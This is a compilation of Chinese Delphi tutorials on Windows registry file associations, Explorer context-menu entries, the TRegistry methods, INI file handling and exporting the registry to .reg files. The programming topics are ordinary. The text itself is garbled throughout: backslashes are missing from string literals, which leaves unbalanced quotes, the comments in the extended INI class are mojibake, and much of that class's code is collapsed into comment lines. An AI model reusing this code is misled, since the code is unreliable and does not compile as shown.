//create value where exefile is stored --> c:.exe "%1"

try

reg.Writestring('', exepfad + ' "%1"');

finally

reg.CloseKey;

end;

finally

reg.Free;

end;

SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, nil, nil);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

RegisterFileType('pci', 'c:.exe');

end;

*****************************************

注意，在下面这些操作之后，应该发送一个刷新的消息给系统：

SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, nil, nil);

通过对注册表进行修改，可以删除一种文件名后缀与某个应用程序相关联

程序例如下：

procedure deregisterFileType(ft: String);

//ft:将要删除文件关联的后缀，如.tst

var

myreg:TRegistry;

key: String;

begin

myreg:=TRegistry.Create;

myReg.RootKey:=HKEY_CLASSES_ROOT;

myReg.OpenKey(ft, False);

key:=MyReg.ReadString('');

MyReg.CloseKey;

myReg.DeleteKey(ft);

myReg.DeleteKey(key);

myReg.Free;

end;

调用例子：

Example:

deregisterFileType('.tst');

通过对注册表进行修改，可以删除资源管理器上下文件菜单中的新建子菜单中的命令

程序例如下：

procedure FileTDelNew(ft: String);

//fp:文件后缀键值，如.tst

var

myReg:TRegistry;

begin

myReg:=TRegistry.Create;

myReg.RootKey:=HKEY_CLASSES_ROOT;

if not myReg.KeyExists(ft) then

begin

MyReg.Free;

Exit;

end;

MyReg.OpenKey(ft, true);

if MyReg.KeyExists('ShellNew') then

MyReg.DeleteKey('ShellNew');

MyReg.CloseKey;

MyReg.Free;

end;

调用例子：

Example:

FileTDelNew('.tst');

原理说明：

将后缀键的下面的子键ShellNew删除即可。

通过对注册表进行修改，可以删除资源管理器上下文件菜单中对某类文件的处理命令

程序例如下：

procedure FileTDelAction(key, name: String);

//key:关联键值为后缀的描述键值，如.tst对应testfile,则key:=testfile

//name:命令名称

var

myReg: TRegistry;

begin

myReg:=TRegistry.Create;

myReg.RootKey:=HKEY_CLASSES_ROOT;

//如果给出的是一个文件后缀，则转换成对应的描述键值

//在生成文件关联时，如果未给出描述键值，则会自动生成，此处与上面是联系的

{ if key[1] = '.' then

key:= copy(key,2,maxint)+'_auto_file';}

if key[1] = '.' then

begin

if myReg.KeyExists(key) then //首先看注册表中是否有此键,有则取出

begin

myReg.OpenKey(key, false);

key:=myReg.ReadString ('');

end

else

key:= copy(key,2,maxint)+'_auto_file';

end;

if key[Length(key)-1] <> ' then

key:=key+';

myReg.OpenKey('+key+'shell, true);

if myReg.KeyExists(name) then

myReg.DeleteKey(name);

myReg.CloseKey;

myReg.Free;

end;

调用例子：

Example:

FileTDelAction('test','edit');

原理说明：

将注册表中对应的键值删除就可以了。

通过对注册表进行修改，可以实现一种文件名后缀与某个应用程序相关联

程序例如下：

procedure registerfiletype(ft,key,desc,icon,prg:string);

//ft:文件名后缀，如可以为'.tst'或'afile.tst'

//key:在注册表中的键值，要唯一

//desc:关联程序的描述

//icon:缺省的程序图标，如Application.ExeName+',1'，可以缺省

//prg:对应的应用程序

var myreg : treginifile;

ct : integer;

begin

// 取文件的后缀

ct := pos('.',ft);

while ct > 0 do begin

delete(ft,ct,1);

ct := pos('.',ft);

end;

if (ft = '') or (prg = '') then exit; //判断后缀及应用程序是否有效

ft := '.'+ft;

myreg := treginifile.create('');

try

myreg.rootkey := hkey_classes_root; // 根应该为HKEY_CLASSES_ROOT

if key = '' then key := copy(ft,2,maxint)+'_auto_file';

// 如果没给出键值，则自动创建一个

myreg.writestring(ft,'',key); // 写入描述的键值

myreg.writestring(key,'',desc); // 写入描述

if icon <> '' then

myreg.writestring(key+'','',icon);

// 写入缺省图标

myreg.writestring(key+'','',prg+' "%1"');

//写入相关联的应用程序

finally

myreg.free;

end;

end;

调用例子：

Example:

registerFileType('.tst',

'testfile',

'测试关联文件',

Application.ExeName+',1',

Application.ExeName);

原理说明：

程序关联的键值放在注册表根为HKEY_CLASSES_ROOT下面。实现文件关联要写入两

个键值：后缀键值和描述键值（可用术语用的不对）

如实现将.tst与程序tstfile.exe相关联

其中后缀键值形为： .tst myprogram

key值为文件后缀，取值为对于key的一个描述

描述键值形为： myprogram 文件描述

其中还有相应的子键，如缺省的程序图标，形为：

myprogram '', 'tstfile.exe,1'

打开命令，形为：

myprogram'', 'tstfile.exe "%1"'

写入完这两个键值后就可以实现文件与应用程序相关联了。

通过对注册表进行修改，可以在资源管理器上下文件菜单中的新建子菜单中增加新的命令

程序例如下：

type

TFileNewType = (ftNullFile, ftFileName, ftCommand);

procedure FileTAddNew(ft, param: String; newType: TFileNewType);

//fp:文件后缀键值，如.tst

//param:传递参数

//newType:新建的类型，有空文件， 文件名， 命令

var

myReg:TRegistry;

begin

myReg:=TRegistry.Create;

myReg.RootKey:=HKEY_CLASSES_ROOT;

if not myReg.KeyExists(ft) then

begin

MyReg.Free;

Exit;

end;

myReg.OpenKey(ft+'', true);

case NewType of

ftNullFile : MyReg.WriteString('NullFile', '');

ftFileName : MyReg.WriteString('FileName', param);

ftCommand : MyReg.WriteString('Command', param);

end;

MyReg.CloseKey;

MyReg.Free;

end;

调用例子：

Example:

FileTAddNew('.tst','', ftNullFile);

原理说明：

在后缀键的下面增加子键ShellNew。如在上下文菜单中增加新建.tst文件的命令

在.tst键值下面增加子键 .tst 'NullFile', ''

通过对注册表进行修改，可以在资源管理器上下文菜单中增加对某类文件的处理命令

程序例如下：

procedure FileTAddAction(key, name, display, action: String);

//key:关联键值为后缀的描述键值，如.tst对应testfile,则key:=testfile

//name:命令名称

//display:在上下文件菜单上显示的提示信息

//action:对应的命令

var

myReg:TRegistry;

begin

myReg:=Tregistry.Create;

myReg.RootKey:=HKEY_CLASSES_ROOT;

if name='' then name:=display;

//如果给出的是一个文件后缀，则转换成对应的描述键值

//在生成文件关联时，如果未给出描述键值，则会自动生成，此处与上面是联系的

{ if key[1] = '.' then

key:= copy(key,2,maxint)+'_auto_file';}

if key[1] = '.' then

begin

if myReg.KeyExists(key) then //首先看注册表中是否有此键,有则取出

begin

myReg.OpenKey(key, false);

key:=myReg.ReadString ('');

end

else

key:= copy(key,2,maxint)+'_auto_file';

end;

if key[Length(key)-1] <> ' then

key:=key+';

if name[Length(name)-1] <> ' then

name:=name+';

myReg.OpenKey(key+'Shell+name, true);

myReg.WriteString('', display);

MyReg.CloseKey;

MyReg.OpenKey(key+'Shell+name+'Command, true);

MyReg.WriteString('', action);

myReg.Free;

end;

调用例子：

Example:

FileTAddAction('testfile','edit','Edit',Application.ExeName+'-e "%1"');

原理说明：

如.txt对应的描述键值为testfile

则在testfile的键值下面，增加动作子键

如： testfile '', Edit

testfile '', 'c:-e "%1"'


TRegistry注册表类方法详解

Delphi的TRegistry注册表类方法详解

●GetDataInfo方法

Function GetDataInfo(const ValueName:String;Var Value:TRegDataInfo):Boolean;

TregDataType=(rdunknown,rdstring,rdexpandstring,rdexpandstring,rdinterger,rdbinary);

TregDataInfo=record

      Regdata:TRegDataType;数据类型

   dataSize:integer;数据大小

end

valuename:和当前键关联的数据值名称

value：返回数据的信息，如为rdstring和rdexpandstring类型，则数据大小包括字符串未尾的空结束字符。

    如果成功返回True，失败返回False，并且Value的值为zeros

rdexpandstring：是一个包含环境变量的字符串;如“%PATH%”。

●CreateKey方法

Function CreateKey(const Key:string):Boolena;

    新建一个名为Key的键，Key可以为绝对的或相对的名字，绝对名用反斜杠“\u8221”开头，相对名是新建一个当前键的子键。新建没有值。

    成功返回True，否则返回False,如果该键已存在将不产生效果。

●DeleteKey方法

Function DeleteKey(const Key:string):Boolean;

    删除一个键及相关联的数据，在win95中子键也将被删除，NT中子键必须一个个删除。

●DeleteValue方法

Function DeleteValue (const Name:string):Boolean;

    删除当前键中指定的一个数据值name。

●GetDataSize方法

Function GetDataSize(const ValueName:string):integer;

    返回当前键中一个指定数值ValueName数据的大小。

●GetDataType方法

Function GetDataType(const Valuename;string):TRegDataType;

    返回当前键中一个指定数值Valuename数据的类型。

●GetKeyInfo方法

Function GetKeyInfo(var value:TRegkeyinfo):Boolean;

    返回当前键的信息，在于value中。

TRegkeyinfo=record

   maxsubkeylen:integer;子键名的最长值（字节）

   numvalues:integer;键值的数量

   maxvaluelen;最长的键值名的长度

   Filetime:TFileTime;最后一次更改的时间

end;

●Getkeynames方法

Procedure Getkeynames(strings:Tsrtings);

    返回当前键所有子键的名子列表串。

●Getvaluenames

Procedure Getvaluenames(strings:Tstrings);

   返回当前键所有键值名的列表串。

●Hassubkeys方法

Function hassubKeys:Boolean;

    判断当前键是否有子键，有返回True，否则返回False。

●keyExists方法

Function KeyExists(const Key:string):Boolean;

    判断指定的键是否存在。

●LoadKey方法

Function LoadKey(const Key,fileNmae:string):Boolean;

  在根键下新建

  从一个文件中加载注册信息到子键中，文件注册信息中包含数据值名、子键和数据。

    LoadKey使创建一个键单一化，子键，键值和数据在一人操作中完成，所有这些称为一组，和单独地创建它们不同应用程序可以在一个文件中读取一组数据，这在用户运行中重新设置有特别的用处。

  Key为要创建子键的名子

  FileName：为文件的位置，所指定的文件必须为以前用SaveKey函数或RegSaveKey API函数所建立的，文件名不能包括扩展名。

●OpenKey方法

Function OpenKey(const Key:string;cancreate:Boolean):Boolean;

    使用该函数可以指定一个键作为当前键，如果键为nil，则当前键 将设置为根键。

    Cancreate决定是否在指定键不存在时创建该键，该函数创建的键的键值将不确定。

    如果成功地打开或创建，该函数返回True。

●OpenKeyReadOnly方法

function OpenKeyReadOnly(const Key: String): Boolean;

    以只读的方式打开Key值指定的键。

●CloseKey方法

procedure CloseKey;

   当不再使用一个键时应用该方法关闭该键。

●MoveKey方法

procedure MoveKey(const OldName, NewName: String; Delete: Boolean);

   该方法移动或复制一个键到一个新的位置，并把键的名子改为NewName。

   在Win95/98下该的子键和数据将被一起移动或复制到新的位置，在NT下子键必须用MoveKey明确的移动或自制。

●读取数据的方法

function ReadBinaryData(const Name: String; var Buffer; BufSize: Integer):Integer;

function ReadBool(const Name: String): Boolean;

function ReadCurrency(const Name: String): Currency;

function ReadDate(const Name: String): TDateTime;

function ReadDateTime(const Name: String): TDateTime;

function ReadFloat(const Name: String): Double;

function ReadInteger(const Name: String): Integer;

function ReadString(const Name: String): String;

function ReadTime(const Name: String): TDateTime;

    以上方法从当前主键读取相应数据类型的键值的数据，如果类型不匹配将产生一个异常。

●RegistryConnect方法

function RegistryConnect(const UNCName: String): Boolean;

  与另一台计算机的注册表建立连接，在建立连接前应将Rootkey属性设为HKEY_USERS或HKEY_LOCAL_MACHINE。

  UNCName是另一台计算机的名子。格式如：\computername

  假如UNCName为nil，将打开本地计算机。


监视注册表的某一个位置的值的变化

SHELL32.DLL:

RegNotifyChangeKeyValue

SHChangeNotifyDeregister

HANDLE WINAPI SHChangeNotifyRegister(HWND hWnd,DWORD dwFlags,LONG wEventMask,UINT uMsg,DWORD cItems, LPCNOTIFYREGISTER lpItems); index 2;

BOOL WINAPI SHChangeNotifyDeregister(HANDLE hNotify);index 4; //hNotify Come form SHChangeNotifyRegister

HANDLE WINAPI SHChangeNotification_Lock(HANDLE hMemoryMap,DWORD dwProcessId,LPCITEMIDLIST **lppidls,LPLONG lpwEventId); index 644;

BOOL WINAPI SHChangeNotification_Unlock(HANDLE hLock); index 645;

Ex:

LPCITEMIDLIST *pidls;

LONG wEventId;

if (bRunningWindowsNT) {

HANDLE hLock;

hLock = SHChangeNotification_Lock(

(HANDLE)wParam, (DWORD)lParam,

&pidls, &wEventId);

if (hLock) {

ProcessEvent(wEventId,

pidls[0], pidls[1]);

SHChangeNotification_Unlock(hLock);

}

}

else {

pidls = (LPCITEMIDLIST*)wParam;

wEventId = (LONG)lParam;

ProcessEvent(wEventId,

pidls[0], pidls[1]);

}

我曾经做过一测试的程序，不过有点问题，我把全部代码贴出来吧：

unit reg1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,registry,

StdCtrls;

const

machine_rootkey=HKEY_LOCAL_MACHINE;

user_rootkey=HKEY_CURRENT_USER;

defaultuser_rootkey=HKEY_USERS;

subkey1='SOFTWARE';

subkey2='SOFTWARE';

function regmonitor(hkeys:hkey;keys:string):boolean;

type

TForm1 = class(TForm)

Button1: TButton;

Button2: TButton;

Memo1: TMemo;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

function regmonitor(hkeys:hkey;keys:string):boolean;

var

reg1:tregistry;

begin

reg1:=tregistry.Create;

reg1.RootKey:=hkeys;

try

reg1.OpenKey(keys,false);

//我的问题是在这下面的几句，当我执行时，如果注册表里我指定的键没被改变过，程序

//好像失去响应一样，你试试就知道了，也许要用多线程才行，不过我后来没去试了

application.ProcessMessages;

if RegNotifyChangeKeyValue(reg1.CurrentKey,false,REG_NOTIFY_CHANGE_NAME+REG_NOTIFY_CHANGE_LAST_SET,0,false)=ERROR_SUCCESS then

result:=true

else

result:=false;

finally

reg1.CloseKey;

reg1.Free;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

memo1.Lines.Clear;

if regmonitor(machine_rootkey,subkey1) then

memo1.Lines.Add('registry is monitored')

else

memo1.Lines.Add('registry monitors fail');

end;

end.


INI文件编程

Delphi中的INI文件编程

整理编辑：China ASP

---- INI文件在系统配置及应用程序参数保存与设置方面，具有很重要的作用，所以可视化的编程一族，如VB、VC、VFP、Delphi等都提供了读写INI文件的方法，其中Delphi中操作INI文件，最为简洁，这是因为Delphi3提供了一个TInifile类，使我们可以非常灵活的处理INI文件。

一、有必要了解INI文件的结构：

;注释

[小节名]

关键字=值

...

---- INI文件允许有多个小节，每个小节又允许有多个关键字， “=”后面是该关键字的值。

---- 值的类型有三种：字符串、整型数值和布尔值。其中字符串存贮在INI文件中时没有引号，布尔真值用1表示，布尔假值用0表示。

---- 注释以分号“;”开头。

二、定义

---- 1、在Interface的Uses节增加IniFiles；

---- 2、在Var变量定义部分增加一行：

myinifile:Tinifile;

---- 然后，就可以对变量myinifile进行创建、打开、读取、写入等操作了。

三、打开INI文件

myinifile:=Tinifile.create('program.ini');

--- 上面这一行语句将会为变量myinifile与具体的文件 program.ini建立联系，然后，就可以通过变量myinifile，来读写program.ini文件中的关键字的值了。

---- 值得注意的是，如果括号中的文件名没有指明路径的话，那么这个Program.ini文件会存储在Windows目录中,把Program.ini文件存储在应用程序当前目录中的方法是：为其指定完整的路径及文件名。下面的两条语句可以完成这个功能：

Filename:=ExtractFilePath(Paramstr(0))+'program.ini';

myinifile:=Tinifile.Create(filename);

四、读取关键字的值

--- 针对INI文件支持的字符串、整型数值、布尔值三种数据类型，TINIfiles类提供了三种不同的对象方法来读取INI文件中关键字的值。

--- 假设已定义变量vs、vi、vb分别为string、 integer、boolean类型。

vs:=myinifile.Readstring('小节名','关键字',缺省值);

vi:=myinifile.Readinteger('小节名','关键字',缺省值);

vb:=myinifile.Readbool('小节名','关键字',缺省值);

--- 其中缺省值为该INI文件不存在该关键字时返回的缺省值。

五、写入INI文件

---- 同样的，TInifile类也提供了三种不同的对象方法，向INI文件写入字符串、整型数及布尔类型的关键字。

myinifile.writestring('小节名','关键字',变量或字符串值);

myinifile.writeinteger('小节名','关键字',变量或整型数值);

myinifile.writebool('小节名','关键字',变量或True或False);

---- 当这个INI文件不存在时，上面的语句还会自动创建该INI文件。

六、删除关键字

---- 除了可用写入方法增加一个关键字，Tinifile类还提供了一个删除关键字的对象方法：

myinifile.DeleteKey('小节名','关键字');

七、小节操作

--- 增加一个小节可用写入的方法来完成，删除一个小节可用下面的对象方法：

myinifile.EraseSection('小节名');

--- 另外Tinifile类还提供了三种对象方法来对小节进行操作：

--- myinifile.readsection('小节名',TStrings变量);可将指定小节中的所有关键字名读取至一个字符串列表变量中；

--- myinifile.readsections(TStrings变量);可将INI文件中所有小节名读取至一个字符串列表变量中去。

---- myinifile.readsectionvalues('小节名',TStrings变量);可将INI文件中指定小节的所有行（包括关键字、=、值）读取至一个字符串列表变量中去。

八、释放

在适当的位置用下面的语句释放myinifile：

myinifile.distory;

九、一个实例

---- 下面用一个简单的例子(如图)，演示了建立、读取、存贮INI文件的方法。myini.ini文件中包含有“程序参数”小节，和用户名称（字符串）、是否正式用户（布尔值）和已运行时间（整型值）三个关键字。程序在窗体建立读取这些数据，并在窗体释放时写myini.ini文件。

--- 附源程序清单

unit Unit1;

interface

uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,inifiles,StdCtrls, ExtCtrls;

type

TForm1 = class(TForm)

Edit1: TEdit;

CheckBox1: TCheckBox;

Edit2: TEdit;

Label1: TLabel;

Label2: TLabel;

Timer1: TTimer;

Label3: TLabel;

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure Timer1Timer(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

var

myinifile:TInifile;

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

var

filename:string;

begin

filename:=ExtractFilePath(paramstr(0))+'myini.ini';

myinifile:=TInifile.Create(filename);

edit1.Text:= myinifile.readstring('程序参数','用户名称','缺省的用户名称');

edit2.text:= inttostr(myinifile.readinteger('程序参数','已运行时间',0));

checkbox1.Checked:= myinifile.readbool('程序参数','是否正式用户',False);

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

myinifile.writestring('程序参数','用户名称',edit1.Text);

myinifile.writeinteger('程序参数','已运行时间',strtoint(edit2.text));

myinifile.writebool('程序参数','是否正式用户',checkbox1.Checked);

myinifile.Destroy;

end;

procedure TForm1.Timer1Timer(Sender: TObject);

begin

edit2.Text:=inttostr(strtoint(edit2.text)+1);

end;

end.


注册表转化成.REG文件

如何把注册表转换成一个.reg文件？

请参考下面的单元：

用法：

ExportRegistryToFile(HKEY_CURRENT_USER,'SoftWare','C:.reg');

///FileName:RegExport.pas

unit RegExport;

interface

uses

windows, registry, Classes, sysutils;

procedure ExportRegistryToFile(const Root: HKEY; const Key: string; const FileName: TFileName);

implementation

function DBLBackSlash(T: string): string;

///本函数用来把一个'变成两个'\'，符合REG文件格式

var

K : Longint;

begin

Result := T;

for K := Length(T) downto 1 do

if Result[k] = ' then insert(', Result, K);

end;

{$I-}

procedure ExportRegistryToFile(const Root: HKEY; const Key: string; const FileName: TFileName);

var

Reg : TRegistry;

F : TextFile;

p : PChar;

FKey : string;

procedure ProcessBranch(R: string); ///递归处理子键

var

Values, Keys : TStringList;

i, j, k : longint;

s, t : string;

begin

WriteLn(F);

case Root of

HKEY_CLASSES_ROOT: s := 'HKEY_CLASSES_ROOT';

HKEY_CURRENT_USER: s := 'HKEY_CURRENT_USER';

HKEY_LOCAL_MACHINE: s := 'HKEY_LOCAL_MACHINE';

HKEY_USERS: s := 'HKEY_USERS';

HKEY_PERFORMANCE_DATA: s := 'HKEY_PERFORMANCE_DATA';

HKEY_CURRENT_CONFIG: s := 'HKEY_CURRENT_CONFIG';

HKEY_DYN_DATA: s := 'HKEY_DYN_DATA';

end;

WriteLn(F, '[' + s + ' + R + ']'); ///like [HKEY_CURRENT_USER........]

Reg.CloseKey;

Reg.OpenKey(R, False);

Values := TStringList.Create;

Keys := TStringList.Create;

Reg.GetValueNames(Values);

Reg.GetKeyNames(Keys);

for i := 0 to Values.Count - 1 do

begin

s := Values.Strings[i];

t := s;

if s = '' then s := '@' else s := '"' + s + '"';

Write(F, DBLBackSlash(s) + '=');

case Reg.GetDataType(t) of

rdString, rdExpandString: Writeln(F, '"' + DBLBackSlash(Reg.ReadString(t)) + '"');

rdInteger: Writeln(F, 'dword:' + IntToHex(Reg.ReadInteger(t), 8));

rdBinary: begin

Write(F, 'hex:');

j := Reg.GetDataSize(t);

GetMem(p, j);

Reg.ReadBinaryData(t, p^, j);

for k := 0 to j - 1 do

begin

Write(F, IntToHex(byte(p[k]), 2));

if k <> j - 1 then

begin

Write(F, ',');

if (K > 0) and ((K mod 25) = 0) then

WriteLn(F, ');

end; ///End if K<>j-1

end; ///For

FreeMem(p, j);

WriteLn(F);

end;

else ///case else

WriteLn(F, '""'); ///数据非法！

end; /// End Case

end; ///end For

Reg.CloseKey;

Values.Free;

for i := 0 to Keys.Count - 1 do

if R <> '' then

ProcessBranch(R + ' + Keys.Strings[i])

else

ProcessBranch(Keys[i]);

Keys.Free;

end;

begin

FKey := Key;

if FKey <> '' then

if Key[Length(FKey)] = ' then

SetLength(FKey, Length(FKey) - 1);

AssignFile(F, FileName);

ReWrite(F);

if IOResult <> 0 then exit;

WriteLn(F, 'REGEDIT4');

Reg := TRegistry.Create;

try

Reg.RootKey := Root;

ProcessBranch(FKey);

finally

Reg.Free;

Close(F);

end;

end;

{$I+}

end.


如果找到注册表的变化

有的时候，我们需要找到注册表的那些地方进行了修改，但是我们又不知道具体的位置，那么如何定位呢？

可以采取这样的操作：

首先运行regedit,导出所有的注册表信息到文件a1.reg

然后利用软件进行设置或者其他的操作

设置或者操作完成之后，再运行regedit，到出所有注册表信息到文件a2.reg

完成之后，运行如下命令：fc a1.reg a2.reg > result.txt

最后，我们只要查看result.txt里面的内容就明白了！


利用DELPHI冲破INI文件的限制

利用DELPHI冲破INI文件的限制

如果需要编写绿色软件，INI文件就是保存软件设置的最佳选择，虽然INI文件是一种非常古老的文件格式，但INI仍旧有着注册表无法取代的优势。Windows已经发展到了95/98，微软却并没有对INI进行进一步的支持，希望注册表能够完全替代她。INI和纯文本文件一样有着64K的限制，64K对于一般的应用是足够的，但如果您需要编写游戏菜单或其他要求储存较大量数据的程序时，INI的尺寸限制可能成为您的烦恼，也许您会考虑采用小型数据库，但在此之前不妨先尝试使用Delphi提供的TStringList来解决问题。

    首先创建一个Unit,并输入以下代码：

  unit Unit1;

{$R-}

interface

uses Windows, Classes, Dialogs;

type

TExtIniFile = class(TObject) //extiniê? ±ê ×? INI?? ?t μ? à? ?1 Dí

private

FFileName: string;

FList: TStringList;

Str_Temp: string;

public

constructor Create(constFileName: string);

function ReadString(const Section: string; Ident: string; Default: string): string;

//?á è? ×? ·? ′?

function ReadInteger(const Section: string; Ident: string; Default: Longint):

Longint;

//?á è? êy ?μ

function ReadBoolean(const Section: string; Ident: string; Default: Boolean):

Boolean;

//?á è? 2? ??

procedure ReadSections(Strings: TStrings);

//?ì ?÷ è? 2? ?? μ? ?? 3?

procedure ReadIdents(const Section: string; Strings: TStrings);

//?ì ?÷ ?? ?¨ ?? ?ú μ? ?ü μ? ?? 3?

property FileName: string read FFileName;

procedure WriteString(const Section: string; Ident: string; Value: string);

//D′ ×? ·? ′?

procedure WriteInteger(const Section: string; Ident: string; Value: Integer);

//D′ êy ?μ

procedure WriteBoolean(const Section: string; Ident: string; Value: Boolean);

//D′ 2? ??

end;

implementation

uses SysUtils, Consts;

//?¨ ò? TExtIniFileμ? ′′ ?¨ ê? ?t

constructor TExtIniFile.Create(constFileName: string);

begin

FFileName := FileName;

FList := TStringList.Create;

//è? 1? ?? ?t ′? ?ú

if FileExists(Filename) then

begin

FList.LoadFromFile(FileName);

//2? è? ?? DD ￡? ?a ?ì ?÷ ìá 1? ±ê ê?

if FList.Strings[FList.Count - 1] <> '' then FList.Add('');

end;

end;

//?a ?? ′ú ?? ?¨ ò? á? ?á è? ×? ·? ′? μ? 1y 3ì

function TExtIniFile.ReadString(const Section: string; Ident: string; Default: string):

string;

var

ExtIni_I, ExtIni_Start, ExtIni_End, BufSize: Integer;

Section_Str, Ident_Str: string;

//TempList:TStringList;

Buffer, Pchar_Temp: Pchar;

IdentLen : Integer;

FindEndOK : Boolean;

begin

//è? 1? ?? ?t ′? ?ú

if FileExists(FFileName) then

begin

FindEndOK := False;

ExtIni_Start := -1;

ExtIni_End := -1;

IdentLen := Length(Ident);

//?ì ?÷ è? ?? ￡? 2é ?ò Section

for ExtIni_I := 0 to FList.Count - 1 do

begin

if UpperCase(FList.Strings[ExtIni_I]) = '[' + UpperCase(Section) + ']' then

begin

if ExtIni_Start = -1 then

begin

ExtIni_Start := ExtIni_I;

end;

end;

end;

//è? 1? 2é ?ò Section3é 1| ifExtIni_Start>-1thenbeginForExtIni_I:=ExtIni_Start+1toFList.Count-1dobeginBufSize:=Length(FList.Strings[ExtIni_I]);GetMem(Buffer,BufSize+2);Buffer^:=chr(0);

//?? è? μú ò? ?? ×? ·? strLcat(Buffer,PChar(FList.Strings[ExtIni_I]),1);

//è? 1? μú ò? ?? ×? ·? ?a '['IfBuffer='['thenFindEndOK:=True;

//?ò ?a ?? ?μ ifFList.Strings[ExtIni_I]=''thenFindEndOK:=True;

//±ê ?? ?? ?? μ? ?á ê? DD ifFindEndOK=Truethenbeginif Ext Ini-End=-1thenbeginExtIni_End:=ExtIni_I;end;end;

//êí ·? ?ú ′? FreeMem(Buffer);end;

//?ì ?÷ ?ü ForExtIni_I:=0toExtIni_End-1dobeginBufSize:=Length(FList.Strings[ExtIni_I]);GetMem(Buffer,BufSize+2);Buffer^:=chr(0);strLcat(Buffer,PChar(FList.Strings[ExtIni_I]),IdentLen+1);

//è? 1? ?ì ?÷ 3é 1| ifUpperCase(String(Buffer))=UpperCase(Ident+'=')thenbegin

//?? ?D ×? ·? ′? BufSize:=Length(FList.Strings[ExtIni_I]);GetMem(Pchar_Temp,BufSize+2);Pchar_Temp^:=chr(0);StrCat(Pchar_Temp,PChar(FList.Strings[ExtIni_I])+Length(Ident)+1);Str_Temp:=String(Pchar_Temp);

//êí ·? FreeMem(Pchar_Temp);end;FreeMem(Buffer);end;end;end;

SetString(Result, pchar(Str_Temp), Length(Str_Temp));

if trim(Str_Temp) = '' then

Result := Default;

end;

//?a ?? ′ú ?? ?¨ ò? á? ?á è? êy ?μ μ? 1y 3ì

end;

function TExtIniFile.ReadInteger(const Section: string; Ident: string; Default: Longint):

Longint;

var

IntStr : string;

begin

try

IntStr := ReadString(Section, Ident, '');

if (Length(IntStr) > 2) and (IntStr[1] = '0') and ((IntStr[2] = 'X') or (IntStr[2] =

'x')) then

IntStr := '$' + Copy(IntStr, 3, Maxint); Result := StrToIntDef(IntStr, Default);

finally

Result := StrToIntDef(IntStr, Default);

end;

end;

//?a ?? ′ú ?? ?¨ ò? á? ?á è? 2? ?? ?μ μ? 1y 3ì

function TExtIniFile.ReadBoolean(const Section: string; Ident: string; Default:

Boolean): Boolean;

begin

if Trim(ReadString(Section, Ident, 'A ')) = '1' then

Result := true

else

Result :=

false; if (Str_Temp <> '0 ') and (Str_Temp <> '1') then Result := Default;

end;

//?a ?? ′ú ?? ?¨ ò? á? ?ì ?÷ è? 2? ?? μ? ?? 3? μ? 1y 3ì

procedure TExtIniFile.ReadSections(Strings: TStrings);

//varExtIni_I,BufSize:Integer;Buffer,Pchar_Temp,Pchar_Temp2,Pchar_Temp3:Pchar;FindEndOK:Boolean;

begin

//è? 1? ?? ?t ′? ?ú ifFileExists(FFileName)thenbeginForExtIni_I:=0toFList.Count-1dobeginBufSize:=Length(FList.Strings[ExtIni_I])+2;GetMem(Buffer,BufSize);Buffer^:=chr(0);

//?? è? μú ò? ?? ×? ·? strLcat(Buffer,PChar(FList.Strings[ExtIni_I]),1);

//è? 1? μú ò? ?? ×? ·? ?a '['IfBuffer='[?ˉ thenbegin//?ò 2é ?ò ']'GetMem(Pchar_Temp,BufSize);Pchar_Temp^:=chr(0);StrCat(Pchar_Temp,PChar(FList.Strings[ExtIni_I])+Length(FList.Strings[ExtIni_I])-1);ifPchar_Temp=']'thenbeginGetMem(Pchar_Temp2,BufSize);Pchar_Temp2^:=chr(0);StrCat(Pchar_Temp2,PChar(FList.Strings[ExtIni_I])+1);GetMem(Pchar_Temp3,BufSize);Pchar_Temp3^:=chr(0);strLcat(Pchar_Temp3,Pchar_Temp2,Length(Pchar_Temp2)-1);

//?ú áD ±í ?D ?ó è? ×? ·? ′? Strings.Add(Pchar_Temp3);FreeMem(Pchar_Temp2);FreeMem(Pchar_Temp3);end;FreeMem(Pchar_Temp);end;FreeMem(Buffer);end;end;

end;

//?a ?? ′ú ?? ?¨ ò? á? ?ì ?÷ ?? ?¨ ?? ?ú μ? ?ü μ? ?? 3? μ? 1y 3ì

procedure TExtIniFile.ReadIdents(const Section: string; Strings: TStrings);

var

ExtIni_I, ExtIni_Start, ExtIni_End, BufSize: Integer; Section_Str, Ident_Str:

string; TempList : TStringList; Buffer, Pchar_Temp: Pchar; IdentLen: Integer; FindEndOK :

Boolean;

begin

//è? 1? ?? ?t ′? ?ú ifFileExists(FFileName)thenbeginFindEndOK:=False;ExtIni_Start:=-1;ExtIni_End:=-1;

//?ì ?÷ è? ?? ￡? 2é ?ò SectionForExtIni_I:=0toFList.Count-1dobeginifUpperCase(FList.Strings[ExtIni_I])='['+UpperCase(Section)+']'thenbeginifExtIni_Start=-1thenExtIni_Start:=ExtIni_I;end;end;

//è? 1? 2é ?ò Section3é 1| ifExtIni_Start>-1thenbeginForExtIni_I:=ExtIni_Start+1toFList.Count-1dobeginBufSize:=Length(FList.Strings[ExtIni_I]);GetMem(Buffer,BufSize+2);Buffer^:=chr(0);

//?? è? μú ò? ?? ×? ·? strLcat(Buffer,PChar(FList.Strings[ExtIni_I]),1);

//è? 1? μú ò? ?? ×? ·? ?a '['IfBuffer='['thenFindEndOK:=True;

//?ò ?a ?? ?μ ifFList.Strings[ExtIni_I]=''thenFindEndOK:=True;

//±ê ?? ?? ?? μ? ?á ê? DD ifFindEndOK=TruethenbeginifExtIni_End=-1thenbeginExtIni_End:=ExtIni_I;end;end;

//êí ·? ?ú ′? FreeMem(Buffer);end;end;ForExtIni_I:=ExtIni_Start+1toExtIni_End-1dobegin

//2é ?ò '='IdentLen:=pos('=',FList.Strings[ExtIni_I]);ifIdentLen<>0thenbeginBufSize:=Length(FList.Strings[ExtIni_I]);GetMem(Buffer,BufSize+2);Buffer^:=chr(0);

